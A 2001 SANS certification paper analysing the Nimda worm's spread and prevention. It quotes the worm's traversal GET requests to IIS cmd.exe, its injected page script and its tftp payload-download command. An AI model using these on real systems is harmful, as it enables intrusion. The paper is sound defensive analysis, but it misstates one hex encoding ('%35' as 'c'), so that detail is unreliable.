GIAC
CERTIFICATIONS

Global Information Assurance Certification Paper

Copyright SANS Institute
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission.

Interested in learning more?

Check out the list of upcoming events offering
"Security Essentials (Security 401)"
at http://www.giac.org/registration/gsec

The Nimda Worm: An Overview
Eugene J. Aronne
October 8, 2001
GSEC Practical Assignment Version 1.2f

1. Introduction

On September 18, 2001, a new fast-spreading worm appeared on the Internet, named "Nimda". Its lifecycle disrupted the confidentiality, integrity and availability of different resources throughout the Internet. Despite being new, Nimda exploited several well-known and correctable vulnerabilities on Microsoft Windows 9x, ME, NT, and 2000 systems. Properly closing these vulnerabilities in advance could have significantly slowed its spread. The goal of this paper is to review how Nimda propagates, focus on the initial vulnerabilities it exploits to enter an organization, and what preparations could have been done to prevent exploitation in the first place.

2. Basics of Nimda propagation

Nimda propagates in many ways. Once infected, cleanup can be difficult, and if not addressed quickly, may require completely rebuilding infected computers. First, a brief review of how Nimda propagates [1,2,3]:

- **Email**: An email arrives with an attachment containing the Nimda Worm. The type labeling of this MIME-encoded attachment is malformed such that users of Microsoft Outlook automatically open the attachment and become infected simply by reading or previewing the body of the message.
- **Web Browser**: Users of vulnerable Microsoft Internet Explorer browsers become infected simply by visiting web pages that have already been infected by Nimda.
- **Web Servers**: Nimda seeks out vulnerable Microsoft Internet Information Server (IIS) web servers to copy and launch its code, thereby infecting the server.
- **Open Shares**: Infected computers seek out other computers with openly accessible NetBIOS shares, to place copies of Nimda in various forms.
- **System "Transformation"**: Infected computers are transformed in several ways, affecting local security and promoting Nimda's propagation:
    - **Security compromise**: creates guest administrative accounts, modifies the registry and opens shares of all local drives.
    - **Local foothold**: places itself in the boot-up process, and appends or replaces existing executables with its own code, and copies itself in other forms in every directory.
    - **Email transmission**: harvests email addresses from local resources and uses its built-in email client to send infected emails to others.
    - **Web Page infection**: seeks any web page content found locally or on accessible network shares, copies files containing its infected code to these directories and modifies any web pages to launch these files when viewed.
    - **Web Server probes**: seeks vulnerable IIS web servers, and then commands the target server to download and launch a copy of its infected code. Nimda's own tftp server is launched locally to accomplish the download.

© SANS Institute 2000 - 2005 Author retains full rights.

The **Email**, **Web Browser**, and **Web Server** exploits all target well-known and preventable vulnerabilities.
Open shares are always a danger – and a prime target for spreading many types of malicious code, not just Nimda.
System Transformation actions, such as executable modification or creation, might be detectable by some generic anti-virus software algorithms, but only if these detection features are enabled.

3. Details of Nimda propagation

The first three propagation methods - **Email**, **Web Browser**, and **Web Server** - all target well-known and preventable vulnerabilities. If these vulnerabilities had been closed before Nimda's launch, Nimda's spread could have been sharply curtailed.

3.1 Email propagation

Users of Outlook and Outlook Express are especially susceptible to the email form of Nimda. The subject field for the email is based on subjects stripped from other messages from the infected host. Therefore, users can't be alerted to be wary of a specific subject header. The body of the email is HTML formatted, and contains an attachment in the form of a MIME-encoded executable file named "README.EXE". Virus-savvy email users know not to open attachments from strange emails, but Nimda exploits a vulnerability in certain versions of Internet Explorer that will cause "README.EXE" to execute automatically when merely previewing or reading the message body [1].

What does Internet Explorer have to do with email? Outlook uses Internet Explorer to display HTML-formatted emails, and in turn to "open" enclosed attachments. Let's take a look at the MIME encoded part of the Nimda email [1]:

```
--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="readme.exe"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>
```

Notice the "Content-type: audio/x-wav" for the encoded file "readme.exe". This is the wrong content-type for an executable file. The correct type should be something like "application/x-msdownload". If the correct type were used, then Internet Explorer would present "readme.exe" as an attachment to be opened only at the discretion of the user. However, when Internet Explorer sees "audio/x-wav" it thinks the encoded file is a sound file to be played, and inadvertently executes "readme.exe", infecting the user's machine. Hence the name of the vulnerability is "Incorrect MIME Header Can Cause IE to Execute E-mail Attachment" [4]. It affects Internet Explorer versions 5.0.1 and 5.5, up to Service Pack 1, and can be corrected by applying IE Service Pack 2, or upgrading to Internet Explorer 6 (for Windows 95 through ME, IE6 must be a full or typical install) [1,4].

© SANS Institute 2000 - 2005 Author retains full rights.

Remember, however, that users of other email clients, such as Eudora, Netscape, or Web-based email may be presented the “README.EXE” as an attachment. If the user opens this attachment, their machines will also be infected [1,2].

3.2 Web Browser infection

One of the ways Nimda spreads is by infecting the content of the IIS web sites, so that users within your organization visiting external infected web sites will become infected as well, bringing Nimda into the organizations’ network.

When Nimda is unleashed on an IIS web server, it seeks out all directories containing web files, copies MIME-encoded copies of itself as readme.eml (Outlook Express Mail Message). Also, it appends Javascript code:

```
<script language="JavaScript">
window.open("readme.eml", null, "resizable=no,top=6000,left=6000")
</script>
```

to web pages named “index.htm” or “index.html”, and with extensions of “.htm”, “.html”, and “.asp”. When a vulnerable Internet Explorer (versions 5.0.1 and 5.5, up to Service Pack 1) is used to visit a web page containing this JavaScript code, the readme.eml file is opened, and infection occurs in the same fashion as when the Outlook email is displayed by Internet Explorer. Again, this vulnerability is correctable by upgrading to IE SP2 [1,4].

3.3 Web Server infection

Nimda searches for vulnerable Microsoft Internet Information Servers, versions 4 and 5, as well as Personal Web Server running on Windows 98. But first, it is important to understand two basic concepts of how IIS is structured:

- **Virtual Directories and file permissions:** The directory tree one sees when visiting an IIS website is a “virtual directory”, in that it is usually comprised of one or more subdirectories on the local file system or other file systems. Typically, the “root” of virtual web directory is located under c:\inetpub or d:\inetpub on the local file system. The IIS administrator uses local NTFS file permissions and permissions within IIS administration to limit which folders allow read, write, or execution of their files. Ordinarily, web requests are not allowed to visit directories outside the virtual directory to some other local directory, such as c:\winnt, nor are they allowed to execute files within these directories without proper permission [3,5].

- **Encoded characters:** IIS allows for character representation to be encoded in an “escaped” hexadecimal format: “%” hex hex. For example, “%20” represents a “space” character and “%35” represents “c”, from the US-ASCII standard character set. These encoded representations are especially important when representing parameters to be passed to executable programs on the web server. Why are

© SANS Institute 2000 - 2005 Author retains full rights.

these escaped characters used? In order to remove any ambiguity – sometimes characters are used to delimit parameters, and sometimes they are parameters themselves for the executable. When IIS is presented with these characters, it decodes them to their "canonical" form. Basically, the decoding refers to the interpretation of "escaped" encoded characters [5,6].

Nimda exploits two vulnerabilities related to these structures in IIS.

The **first Nimda exploit** takes advantage of "Superfluous Decoding" and "Web Traversal" vulnerabilities in unpatched versions of IIS [1,2,6,7,8]. When IIS is presented with a request that contains an executable file name, it performs 2 decodings/checks of the request. It first decodes the request to check if there exists a suffix for an executable file, such as ".exe" or ".com", and to determine if the security of the directory allows for execution. The second decoding is supposed to decode only the parameters to be passed to the executable. But due to an "implementation error", on the second decoding, IIS decodes the entire first decoding, not just the parameters, but does not perform a second security check. Instead, it simply applies the first security check. How was this possible? This is a grave mishandling of the request. Stepping through a simple example can provide a much better insight into this exploit [9]:

> Here is an actual exploit attempted by Nimda (as seen through the IIS log files):
>
> **GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir**
>
> 1. Here's what should happen when IIS decodes and checks this request:
>
> **/scripts/..%255c../winnt/system32/cmd.exe?/c+dir**
>
> 2. On the first pass, the request is decoded, and "%25" is found and decoded to its ASCII representation, which is the "%" character itself:
>
> **/scripts/..%5c../winnt/system32/cmd.exe?/c+dir**
>
> 3. Is there an executable? Yes, and IIS passes the "%5c" as a legal character in the path:
>
> **/scripts/..%5c../winnt/system32/cmd.exe?/c+dir**
>
> 4. Is it allowed to be executed? Yes, since the standard IIS "scripts" directory allows files within it to be executed:
>
> **/scripts/..%5c../winnt/system32/cmd.exe?/c+dir**
>
> 5. On the second pass, IIS should decode the parameters to be passed to the executable, if required. In this example, no escaped character decoding is required:
>
> **/scripts/..%5c../winnt/system32/cmd.exe?/c+dir**

© SANS Institute 2000 - 2005 Author retains full rights.

6. Having passed decoding and security checks, IIS tries to execute the following:

/scripts/..%5c../winnt/system32/cmd.exe?/c+dir

This strange executable path doesn't exist under the scripts directory, so IIS sends back an error to the user.

Here's what actually happens when a vulnerable IIS decodes and checks this request:

5a. On the second pass, IIS incorrectly decodes the entire result from the first decoding, not just parameters, so the decoding of the result from step 4 above results in the "%5c" being decoded to its true representation, the "\" character:

/scripts/..\../winnt/system32/cmd.exe?/c+dir

6a. IIS also incorrectly does not check the security of this request. Normally, IIS should reject this request because it attempts to go up and out of the virtual directory of the web site. Instead, the request is allowed to pass:

/scripts/..\../winnt/system32/cmd.exe?/c+dir

… is allowed to execute and display a directory listing.

Nimda uses this vulnerability, and variations to try the following attacks [1]:

```
GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir
```

Note that the "/scripts", "/_vti_bin", "/_mem_bin", and "/msadc" directories are common directories with file execution permission used by IIS. Note that other combinations of escaped characters have been found to allow reading of files, without being relative to an executable directory.

The **second Nimda exploit** takes advantage of **backdoors** created **by** "**Code Red II**" [1].

```
GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
```

© SANS Institute 2000 - 2005 Author retains full rights.

"root.exe" is basically a copy of cmd.exe planted by Code Red II to allow easy command execution through the standard "/scripts" and "/MSADC" directories.

Code Red II also modifies registry settings in order to add additional virtual subdirectories of the "c:\" and "d:\" drives, exposing the entire drive contents for read, write and execution through the web server.

So, why is Nimda simply trying "cmd.exe?/c+dir", to simply do a directory listing? This is simply a test to see if the machine is vulnerable. If Nimda receives a positive result from any of these tests, it attempts the following command after "cmd.exe?":

"/c+tftp%20-i%20x.x.x.x%20GET%20Admin.dll%20d:\Admin.dll",

where "x.x.x.x" is the IP address of the attacking host. This command attempts to make the victim machine use tftp to download the Nimda file "admin.dll" to itself. Another command is then issued to execute "Admin.dll", infecting the IIS Web Server.

Could these exploits have been avoided? Yes. An IIS patch has been available since August 2000. Also, it must be noted that these vulnerabilities run under the IIS privileges of the "*IUSR_machinename*" account. Local file permissions set through NTFS can be used to limit access by this account. Furthermore, directory traversal to important system files and executables can be limited by placing the root web directory on a separate drive, such as d:\inetpub, not on the boot drive [1,3,8].

3.4 Open Share exploitation

A Nimda-infected computer seeks out other computers on the network with write-access NetBIOS shares. These shares may be completely open, or be shares with sufficient permissions for the user logged into the infected computer. If accessible, Nimda copies itself into every directory in many forms, the most common listed below [1,2]:

"**Readme.exe**" – the same executable of the email attachment.

"**Readme.eml**" and "**Readme.nws**" – Outlook mail message and news message files. If opened by a user, the file is opened by Outlook, and the MIME-encoded message is opened by Internet Explorer's html-rendering capability.

"**Admin.dll**" – the same executable used to infect IIS Web Servers.

"**Riched20.dll**" – is placed in any directory containing ".doc" files. Microsoft Word and other word processing applications use "Riched20.dll". Simply opening Word documents in these directories infects these applications.

As discussed in section 3.2, Nimda also infects directories containing web content.

Open shares are always a danger – file sharing should never be used on the open

© SANS Institute 2000 - 2005 Author retains full rights.

Internet. If file sharing must be used at all, it should be limited only to authenticated users and blocked from the Internet or unauthorized machines using corporate or personal firewalls.

3.5 Infected System "Transformation"

Infected computers are transformed in several ways, affecting local security and promoting Nimda's propagation [1,2,3].

- **Security compromise**
  Nimda uses shell script commands to modify security in the registry to open network shares for all local drive letters. On Windows 95 to ME, these are full permission shares for anyone. On Windows NT and 2000, these shares are fully opened to the Guest account. The guest account is either enabled or created with no password and added to the Administrators group. If your web server or home system is open to the Internet, and you do not have a firewall blocking traffic to these shares (TCP ports 137-139, 445), then Nimda has created a serious backdoor from the open Internet to your system!

- **Local foothold**
  Once launched, Nimda seeks to maintain its presence on the local system by appending or replacing any local executables with its own code. It also copies itself as "load.exe" in the Windows\System directory, and modifies the "system.ini" file to run "load.exe" every time explorer.exe is run. Nimda also copies "readme.eml" and "readme.nws" files to every directory on the local system.

- **Email transmission**
  Nimda searches Outlook messages and locally cached html files to harvest email addresses. It also harvests subject headers from Outlook emails. Using its own smtp client, Nimda then emails copies of its MIME-encoded "readme.exe" message to these addresses.

- **Web Page infection**
  As discussed in section 3.2, Nimda seeks any directories found locally or on accessible network shares containing web page content, and copies "readme.eml" into these directories. It then appends web pages with JavaScript code designed to invoke the "readme.eml" file upon viewing the web page with a vulnerable Internet Explorer browser. Not only can infection occur when visiting the page through a web site, but infection can also occur when browsing a web page as a local file. Great care must be taken when inspecting an infected system, since simply using Windows with the "View as Web Page" feature enabled to inspect an infected directory can trigger opening of the "readme.eml" file.

- **Web Server probes**
  As discussed in depth in section 3.3, Nimda seeks vulnerable IIS web servers, and then commands the target server to download and launch a copy of its infected code. Nimda launches it own tftp service, listening on UDP port 69, on the infected

© SANS Institute 2000 - 2005 Author retains full rights.

computer, to provide a method of offering its infected "Admin.dll" file to the target web server.

Couldn't anti-virus software have prevented "System Transformations"? Perhaps - remember, the exact signature for Nimda was available only after Nimda was launched into the wild. Some anti-virus software have generic algorithms to watch for suspicious virus-like "behavior" to try to find new or unknown viruses (such as Symantec's "Bloodhound" and McAfee's "ViruLogic" technologies) [17,18]. Some of Nimda's **System Transformation** steps, such as executable modification or creation, may have been detected, but only if these detection features were enabled.

4. Prevention and Vigilance

After seeing the havoc Nimda can create, let's review the prevention measures that could have easily curtailed Nimda's spread.

- **Patches** – There can be no excuse for not patching vulnerabilities, such as those of Internet Explorer and IIS. As soon as these vulnerabilities are published, hackers are out writing code to exploit them. So it's a race to patch your systems before these exploits are deployed [3,12].
- **Share security** – If file shares are needed, they must be protected from the Internet, and must be secured to authenticated users only, with modification rights only to those who absolutely require it [1,2,3].
- **Anti-virus software** – Enable any features that allow your anti-virus software to detect anomalous behavior [10,11].
- **System monitoring** – Watch for sudden spikes in CPU utilization, exhibited by extreme slowing of the computer. Also watch for sudden depletions of file system space – a sign of creation of many files from malicious code like Nimda. Review web server logs and deploy host-based intrusion detection software to look for strange requests showing signs of Unicode (Nimda) or buffer overflow (Code Red) exploits [1,13].
- **Network monitoring** – Watch for sudden spikes of download traffic from the Internet such as through FTP, HTTP, or tftp, especially if the traffic is all to one site, indicating possible malicious code "calling home" to retrieve more powerful "payloads". Block any unnecessary outbound traffic such as tftp. Use network-based intrusion detection systems to watch for strange Unicode or buffer overflow traffic [1,13].

5. Containment and Recovery

In spite of these prevention measures, some infections slip through to an unprotected system. As Nimda's behavior was first identified, descriptions of its filenames and exploit strings appeared quickly at various security and anti-virus sites, before new anti-virus definitions were available. Be prepared to use mail-gateway and web-proxy filters to screen out malicious code, such as "readme.exe", before it can be downloaded into your organization. Network-based intrusion detection systems can be used to reset connections of infected systems attempting web server URL vulnerabilities, such as those used by Nimda [13].

© SANS Institute 2000 - 2005 Author retains full rights.

The major anti-virus vendors have all updated their signatures for detecting and eradicating Nimda, and have both manual instructions and automated tools to assist cleanup and recovery after Nimda's damage. If Nimda has infected too deeply into system applications, the only possible solution will be to rebuild the system, therefore good backups from before infection are essential as part of a good incident response plan.

6. Conclusion

Only a few weeks after Nimda's launch, signs of its activity are still evident. Nimda breached confidentiality primarily by opening shares and accounts on infected systems, making them further vulnerable to attack. Integrity was damaged primarily through application and file modifications. Availability was disrupted through intense CPU usage to send emails and probe other systems; network congestion due to the volume of probes and email traffic; and downtime of systems being cleaned. Proper preparation would have saved countless hours cleaning and rebuilding machines. The IIS and Internet Explorer vulnerabilities have been known for at least six months – they could have been closed long before Nimda. Improperly secured file shares can make containment difficult. Anti-virus software alone is not sufficient to protect an organization. Vigilance using all available monitoring techniques can speed detection of new worms. If we can learn these simple lessons from the damage inflicted by Nimda, perhaps we can prevent the spread of something similar or more powerful in the future.

References

1. Mackie, Andrew, et al.
   "Nimda Worm Analysis." Incident Analysis Report, Version 2.
   Security Focus ARIS (Attack Registration and Analysis Service) Predictor.
   URL:http://aris.securityfocus.com/alerts/nimda/010921-Analysis-Nimda-v2.pdf.
   (21 September 2001).
2. CERT Coordination Center.
   "CERT Advisory CA-2001-26 Nimda Worm."
   URL:http://www.cert.org/advisories/CA-2001-26.html.
   (25 September 2001).
3. Microsoft Corporation.
   "Information on the Nimda Worm."
   URL:http://www.microsoft.com/technet/security/topics/Nimda.asp.
   (26 September 2001).
4. Microsoft Corporation.
   "Microsoft Security Bulletin (MS01-020): Incorrect MIME Header Can Cause IE to Execute E-mail Attachment." Revision 1.2 (21 September 2001).
   URL:http://www.microsoft.com/technet/security/bulletin/ms01-020.asp.
   (24 September 2001).
5. Microsoft Corporation.

© SANS Institute 2000 - 2005 Author retains full rights.

"Microsoft Security Bulletin (MS00-057): Patch Available for 'File Permission Canonicalization' Vulnerability." (10 August 2000)
URL:http://www.microsoft.com/technet/security/bulletin/ms00-057.asp.
(24 September 2001).

6. CERT Coordination Center.
"CERT® Advisory CA-2001-12 Superfluous Decoding Vulnerability in IIS."
(15 May 2001)
URL:http://www.cert.org/advisories/CA-2001-12.html.
(25 September 2001).

7. Microsoft Corporation.
"Microsoft Security Bulletin (MS00-078): Patch Available for "Web Server Folder Traversal" Vulnerability." (17 October 2000)
URL:http://www.microsoft.com/technet/security/bulletin/ms00-078.asp.
(24 September 2001).

8. CERT Coordination Center.
"Vulnerability Note VU#111677 – Microsoft IIS 4.0/5.0 vulnerable to directory traversal via extended Unicode in url (MS00-078)".
Revision 22 (18 September 2001)
URL:http://www.kb.cert.org/vuls/id/111677.
(25 September 2001).

9. NSFOCUS Information Technology Co., Ltd.
"NSFOCUS Security Advisory (SA2001-02)" (15 May 2001)
URL:http://www.nsfocus.com/english/homepage/sa01-02.htm
(30 September 2001)

10. Symantec, Corporation.
"Norton Antivirus Corporate Edition 7.6"
URL: http://enterprisesecurity.symantec.com/PDF/NAV_CE_76_final_fs.pdf
(30 September 2001)

11. Network Associates Inc.
"McAfee VirusScan 4.5"
URL: http://download.nai.com/products/media/mcafeeb2b/pdf/1-TVD-VSN-001-04-01.pdf .
(30 September 2001)

12. Pescatorie, John. "Nimda Worm Shows You Can't Always Patch Fast Enough." GartnerGroup.
URL:http://www3.gartner.com/DisplayDocument?id=340962&acsFlg=accessBought. (19 September 2001).

13. Northcutt, Stephen and Novak, Judy.
Network Intrusion Detection An Analyst's Handbook, Second Edition.
Indianapolis, Indiana, New Riders, September 2000.

© SANS Institute 2000 - 2005, Author retains full rights.